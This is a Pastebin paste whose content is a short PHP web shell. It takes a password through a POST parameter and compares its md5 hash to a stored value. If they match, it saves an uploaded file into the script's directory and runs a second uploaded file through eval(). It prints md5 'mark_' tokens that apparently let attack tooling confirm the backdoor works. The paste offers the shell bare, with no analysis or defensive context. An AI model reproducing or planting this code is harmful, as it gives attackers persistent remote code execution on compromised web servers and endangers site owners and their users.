Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(E_ALL);
- @set_time_limit(0);
- global $HTTP_SERVER_VARS;
- define('PASSWD','[a 32-digit alpha-numeric string]');
- function say($t) {
- echo "$t\n";
- };
- function testdata($t) {
- say(md5("mark_$t"));
- };
- echo "<pre>";
- testdata('start');
- if (md5($_POST["p"]) == PASSWD) {
- if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"),
- $HTTP_POST_FILES["s"]["size"])) {
- if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code))
- {
- testdata('save_ok');
- };
- //eval($code);
- } else {
- testdata('save_fail');
- };
- if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
- $HTTP_POST_FILES["f"]["size"]))
- {
- eval($code);
- testdata('ok');
- } else {
- testdata('fail');
- };
- } else {
- testdata('pass');
- };
- testdata('end');
- echo "</pre>";
- ?>
Add Comment
Please, Sign In to add comment